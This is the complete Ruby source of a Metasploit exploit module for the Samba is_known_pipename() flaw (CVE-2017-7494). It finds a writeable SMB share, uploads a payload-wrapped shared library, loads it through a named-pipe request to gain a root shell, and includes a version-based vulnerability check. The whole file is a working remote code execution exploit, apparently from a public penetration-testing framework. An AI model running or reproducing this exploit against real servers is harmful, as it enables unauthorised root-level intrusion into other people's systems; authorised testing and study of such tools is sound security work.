##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
        'Description' => %q{
          This module triggers an arbitrary shared library load vulnerability
          in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
          requires valid credentials, a writeable folder in an accessible share,
          and knowledge of the server-side path of the writeable folder. In
          some cases, anonymous access combined with common filesystem locations
          can be used to automatically exploit this vulnerability.
        },
        'Author' => [
          'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
          'hdm', # Metasploit Module
          'bcoles', # Check logic
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1083_FILE_AND_DIRECTORY_DISCOVERY ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1135_NETWORK_SHARE_DISCOVERY ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1592_002_SOFTWARE ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1055_001_DYNAMIC_LINK_LIBRARY_INJECTION ]
        ],
        'Payload' => {
          'Space' => 9000,
          'DisableNops' => true
        },
        'Platform' => 'linux',
        'Targets' => [

          [
            'Automatic (Interact)',
            {
              'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
                }
              }
            }
          ],
          [
            'Automatic (Command)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
          ],
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
          [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
          [ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
          [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
          [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
          [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
          [ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
          [ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
          [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
          [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
          [ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
          [ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
          [ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
        ],
        'DefaultOptions' => {
          'DCERPC::fake_bind_multi' => false,
          'SHELL' => '/bin/sh'
        },
        'Privileged' => true,
        'DisclosureDate' => '2017-03-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
      ]
    )
  end

  def post_auth?
    true
  end

  # Setup our mapping of Metasploit architectures to gcc architectures
  def setup
    super
    @payload_arch_mappings = {
      ARCH_X86 => [ 'x86' ],
      ARCH_X64 => [ 'x86_64' ],
      ARCH_MIPS => [ 'mips' ],
      ARCH_MIPSLE => [ 'mipsel' ],
      ARCH_MIPSBE => [ 'mips' ],
      ARCH_MIPS64 => [ 'mips64' ],
      ARCH_MIPS64LE => [ 'mips64el' ],
      ARCH_PPC => [ 'powerpc' ],
      ARCH_PPC64 => [ 'powerpc64' ],
      ARCH_PPC64LE => [ 'powerpc64le' ],
      ARCH_SPARC => [ 'sparc' ],
      ARCH_SPARC64 => [ 'sparc64' ],
      ARCH_ARMLE => [ 'armel', 'armhf' ],
      ARCH_AARCH64 => [ 'aarch64' ],
      ARCH_ZARCH => [ 's390x' ]
    }

    # Architectures we don't offically support but can shell anyways with interact
    @payload_arch_bonus = %w[
      mips64el sparc64 s390x
    ]

    # General platforms (OS + C library)
    @payload_platforms = %w[
      linux-glibc
    ]
  end

  # List all top-level directories within a given share
  def enumerate_directories(share)
    vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')
    connect(versions: [1])
    smb_login
    simple.connect("\\\\#{rhost}\\#{share}")
    stuff = simple.client.find_first('\\*')
    directories = ['']
    stuff.each_pair do |entry, entry_attr|
      next if %w[. ..].include?(entry)
      next unless entry_attr['type'] == 'D'

      directories << entry
    end

    return directories
  rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
    vprint_error("Enum #{share}: #{e}")
    return nil
  ensure
    simple.disconnect("\\\\#{rhost}\\#{share}")
    smb_connect
  end

  # Determine whether a directory in a share is writeable
  def verify_writeable_directory(share, directory = '')
    simple.connect("\\\\#{rhost}\\#{share}")

    random_filename = Rex::Text.rand_text_alpha(5) + '.txt'
    filename = directory.empty? ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

    wfd = simple.open(filename, 'rwct')
    wfd << Rex::Text.rand_text_alpha(8)
    wfd.close

    simple.delete(filename)
    return true
  rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
    vprint_error("Write #{share}#{filename}: #{e}")
    return false
  ensure
    simple.disconnect("\\\\#{rhost}\\#{share}")
  end

  # Call NetShareGetInfo to retrieve the server-side path
  def find_share_path
    share_info = smb_netsharegetinfo(@share)
    share_info[:path].gsub('\\', '/').sub(/^.*:/, '')
  end

  # Crawl top-level directories and test for writeable
  def find_writeable_path(share)
    subdirs = enumerate_directories(share)
    return unless subdirs

    if !datastore['SMB_FOLDER'].to_s.empty?
      subdirs.unshift(datastore['SMB_FOLDER'])
    end

    subdirs.each do |subdir|
      next unless verify_writeable_directory(share, subdir)

      return subdir
    end

    nil
  end

  # Locate a writeable directory across identified shares
  def find_writeable_share_path
    @path = nil
    share_info = smb_netshareenumall
    if datastore['SMB_SHARE_NAME'].blank?
      share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
    end

    share_info.each do |share|
      next if share.blank?
      next if share.first.blank?
      next if share.first.upcase == 'IPC$'

      found = find_writeable_path(share.first)
      next unless found

      @share = share.first
      @path = found
      break
    end
  end

  # Locate a writeable share
  def find_writeable
    find_writeable_share_path
    unless @share && @path
      print_error('No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER')
      fail_with(Failure::NoTarget, 'No matching target')
    end
    print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
  end

  # Store the wrapped payload into the writeable share
  def upload_payload(wrapped_payload)
    begin
      simple.connect("\\\\#{rhost}\\#{@share}")

      random_filename = Rex::Text.rand_text_alpha(8) + '.so'
      filename = @path.empty? ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << wrapped_payload
      wfd.close

      @payload_name = random_filename
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Write #{@share}#{filename}: #{e}")
      return false
    ensure
      simple.disconnect("\\\\#{rhost}\\#{@share}")
    end

    print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
    return true
  end

  # Try both pipe open formats in order to load the uploaded shared library
  def trigger_payload
    target = [@share_path, @path, @payload_name].join('/').gsub(%r{/+}, '/')
    [
      '\\\\PIPE\\' + target,
      target
    ].each do |tpath|
      print_status("Loading the payload from server-side path #{target} using #{tpath}...")

      smb_connect

      # Try to execute the shared library from the share
      begin
        simple.client.create_pipe(tpath)
        probe_module_path(tpath)
      rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
        # Common errors we can safely ignore
      rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
        # Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
        if e.error_code == 0xc0000039
          pwn
          return true
        else
          print_error("  >> Failed to load #{e.error_name}")
        end
      rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e
        if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID
          pwn
          return true
        else
          print_error("  >> Failed to load #{e.status_code.name}")
        end
      end

      disconnect
    end

    false
  end

  def pwn
    print_good('Probe response indicates the interactive payload was loaded...')
    smb_shell = sock
    self.sock = nil
    remove_socket(sock)
    handler(smb_shell)
  end

  # Use fancy payload wrappers to make exploitation a joyously lazy exercise
  def cycle_possible_payloads
    template_base = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-7494')
    template_list = []
    template_type = nil

    # Handle the generic command types first
    if target.arch.include?(ARCH_CMD)
      template_type = target['Interact'] ? 'findsock' : 'system'

      all_architectures = @payload_arch_mappings.values.flatten.uniq

      # Include our bonus architectures for the interact payload
      if target['Interact']
        @payload_arch_bonus.each do |t_arch|
          all_architectures << t_arch
        end
      end

      # Prioritize the most common architectures first
      %w[x86_64 x86 armel armhf mips mipsel].each do |t_arch|
        template_list << all_architectures.delete(t_arch)
      end

      # Queue up the rest for later
      all_architectures.each do |t_arch|
        template_list << t_arch
      end

    # Handle the specific architecture targets next
    else
      template_type = 'shellcode'
      target.arch.each do |t_name|
        @payload_arch_mappings[t_name].each do |t_arch|
          template_list << t_arch
        end
      end
    end

    # Remove any duplicates that mau have snuck in
    template_list.uniq!

    # Cycle through each top-level platform we know about
    @payload_platforms.each do |t_plat|
      # Cycle through each template and yield
      template_list.each do |t_arch|
        wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
        next unless ::File.exist?(wrapper_path)

        data = ''
        ::File.open(wrapper_path, 'rb') do |fd|
          data = Rex::Text.ungzip(fd.read)
        end

        pidx = data.index('PAYLOAD')
        if pidx
          data[pidx, payload.encoded.length] = payload.encoded
        end

        vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
        yield(data)
      end
    end
  end

  # Verify that the payload settings make sense
  def sanity_check
    if target['Interact'] && datastore['PAYLOAD'] != 'cmd/unix/interact'
      print_error('Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact')
      print_error('       Please set PAYLOAD to cmd/unix/interact and try this again')
      print_error('')
      fail_with(Failure::NoTarget, 'Invalid payload chosen for the interactive target')
    end

    if !target['Interact'] && datastore['PAYLOAD'] == 'cmd/unix/interact'
      print_error('Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact')
      print_error('       Please set a valid PAYLOAD and try this again')
      print_error('')
      fail_with(Failure::NoTarget, 'Invalid payload chosen for the non-interactive target')
    end
  end

  # Shorthand for connect and login
  def smb_connect
    connect
    smb_login
  end

  # Start the shell train
  def exploit
    # Validate settings
    sanity_check

    # Setup SMB
    smb_connect

    # Find a writeable share
    find_writeable

    # Retrieve the server-side path of the share like a boss
    print_status("Retrieving the remote path of the share '#{@share}'")
    @share_path = find_share_path
    print_status("Share '#{@share}' has server-side path '#{@share_path}")

    # Disconnect
    disconnect

    # Create wrappers for each potential architecture
    cycle_possible_payloads do |wrapped_payload|
      # Connect, upload the shared library payload, disconnect
      smb_connect
      upload_payload(wrapped_payload)
      disconnect

      # Trigger the payload
      early = trigger_payload

      # Cleanup the payload
      begin
        smb_connect
        simple.connect("\\\\#{rhost}\\#{@share}")
        uploaded_path = @path.empty? ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
        simple.delete(uploaded_path)
        disconnect
      rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError => e
        vprint_error(e.message)
      end

      # Bail early if our interact payload loaded
      return if early
    end
  end

  # A version-based vulnerability check for Samba
  def check
    res = smb_fingerprint

    unless res['native_lm'] =~ /Samba ([\d.]+)/
      print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
      return CheckCode::Safe("Target does not appear to be running Samba: #{res['os']} / #{res['native_lm']}")
    end

    samba_version = Rex::Version.new(::Regexp.last_match(1).gsub(/\.$/, ''))

    vprint_status("Samba version identified as #{samba_version}")

    if samba_version < Rex::Version.new('3.5.0')
      return CheckCode::Safe("Samba version #{samba_version} is below 3.5.0 and not vulnerable")
    end

    # Patched in 4.4.14
    if samba_version < Rex::Version.new('4.5.0') &&
       samba_version >= Rex::Version.new('4.4.14')
      return CheckCode::Safe("Samba version #{samba_version} is patched (>= 4.4.14)")
    end

    # Patched in 4.5.10
    if samba_version > Rex::Version.new('4.5.0') &&
       samba_version < Rex::Version.new('4.6.0') &&
       samba_version >= Rex::Version.new('4.5.10')
      return CheckCode::Safe("Samba version #{samba_version} is patched (>= 4.5.10)")
    end

    # Patched in 4.6.4
    if samba_version >= Rex::Version.new('4.6.4')
      return CheckCode::Safe("Samba version #{samba_version} is patched (>= 4.6.4)")
    end

    smb_connect
    find_writeable_share_path
    disconnect

    if @share.to_s.empty?
      return CheckCode::Detected("Samba version #{samba_version} found, but no writeable share has been identified")
    end

    return CheckCode::Appears("Samba version #{samba_version} found with writeable share '#{@share}'")
  end
end
